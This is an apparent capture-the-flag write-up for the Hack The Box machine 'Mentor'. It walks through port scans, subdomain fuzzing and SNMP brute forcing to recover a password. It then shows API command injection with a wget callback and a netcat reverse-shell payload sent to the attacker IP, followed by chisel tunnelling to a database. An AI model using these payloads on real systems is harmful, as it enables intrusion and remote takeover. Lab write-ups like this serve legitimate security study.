$ nmap -p- --min-rate 5000 10.129.228.102
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-08 10:29 EDT
Nmap scan report for 10.129.228.102
Host is up (0.0061s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
We have to add mentorquotes.htb to the /etc/hosts file to access port 80.
Mentor Quotes API
The website has daily motivational quotes posted:
Doing a subdomain enumeration reveals an api subdomain:
$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H 'Host:FUZZ.mentorquotes.htb' --hw=26 -u http://mentorquotes.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://mentorquotes.htb/
Total requests: 100000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000040: 404 0 L 2 W 22 Ch "api"
Doing a feroxbuster scan reveals a LOT of endpoints present:
$ feroxbuster -u http://api.mentorquotes.htb
307 GET 0l 0w 0c http://api.mentorquotes.htb/admin => http://api.mentorquotes.htb/admin/
200 GET 31l 62w 969c http://api.mentorquotes.htb/docs
307 GET 0l 0w 0c http://api.mentorquotes.htb/users => http://api.mentorquotes.htb/users/
405 GET 1l 3w 31c http://api.mentorquotes.htb/admin/backup
<TRUNCATED>
These are some interesting endpoints, and I think viewing the Documentation is the most important.
This is a token-based API, so when we register a new user, it would return a JWT token to us. We either have to spoof the token to become the administrator to read sensitive information, OR we have to find an injection point for RCE.
One thing to take note of was the Send email to James link, which would send an email to james@mentorquotes.htb, and it is implied he owns the website (and is probably the administrator of this API).
Anyways we can create a user and login to retrieve our token:
Surprisingly, both work. However, this would lead to nowhere as I still cannot access the API using any of these tokens.
I found out later that this method was unintended, and it did work for a while before being patched.
SNMP Brute -> James PW
I was a bit stuck here, so I referred to a writeup. Turns out, SNMP is open on this machine.
$ sudo nmap --min-rate 5000 -sU 10.129.228.102
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-08 10:48 EDT
Nmap scan report for mentorquotes.htb (10.129.228.102)
Host is up (0.0090s latency).
Not shown: 993 open|filtered udp ports (no-response)
PORT STATE SERVICE
161/udp open snmp
The default community string public did return some information, but it was very limited. There should be another community string present, and we had to brute force it.
We can run snmpbrute.py to find the possible community strings:
So internal is another string. When used on snmpwalk, there is a ton of output. snmpbulkwalk is a better tools because it uses threading to get the information and is faster.
$ snmpbulkwalk -v2c -c internal 10.129.228.102
iso.3.6.1.2.1.1.1.0 = STRING: "Linux mentor 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (175048) 0:29:10.48
iso.3.6.1.2.1.1.4.0 = STRING: "Me <admin@mentorquotes.htb>"
iso.3.6.1.2.1.1.5.0 = STRING: "mentor"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
<TRUNCATED>
iso.3.6.1.2.1.25.4.2.1.5.2090 = STRING: "/usr/local/bin/login.py kj23sadkj123as0-d213"
<TRUNCATED>
Within the output, there's a password, and we can verify that this is for james on the API.
I don't really know what they are doing in the backend, but we can try some command injection point just in case.
$ curl -X POST http://api.mentorquotes.htb/admin/backup -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' -H 'Content-Type: application/json' -d '{"path":"/etc/passwd; wget 10.10.14.13/rcecfm"}' | jq
{
"INFO": "Done!"
}
// in another shell
┌──(kali㉿kali)-[~/htb/mentor]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.228.102 - - [08/May/2023 11:01:18] code 404, message File not found
10.129.228.102 - - [08/May/2023 11:01:18] "GET /rcecfm/app_backkup.tar HTTP/1.1" 404
This was using tar on something, but more importantly our RCE worked. We can easily get a reverse shell using this after specifying some random body parameter:
POST /admin/backup HTTP/1.1Host:api.mentorquotes.htbAuthorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0User-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateConnection:closeUpgrade-Insecure-Requests:1Content-Type:application/jsonContent-Length:112{"body":"test","path":"test;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.13 443 >/tmp/f;"}
There's no /bin/bash within this machine.
Privilege Escalation
Database Creds -> SSH
We can find a config.py file within /app/app.
/app/app # cat db.py import osfrom sqlalchemy import (Column, DateTime, Integer, String, Table, create_engine, MetaData)from sqlalchemy.sql import funcfrom databases import Database# Database url if none is passed the default one is usedDATABASE_URL = os.getenv("DATABASE_URL", "postgresql://postgres:postgres@172.22.0.1/mentorquotes_db")<TRUNCATED>
It appears there's a database present on this machine, we probably have to use chisel to tunnel to it.
# on kalichiselserver-p5555--reverse# on machine./chiselclient10.10.14.13:5555R:5432:172.22.0.1:5432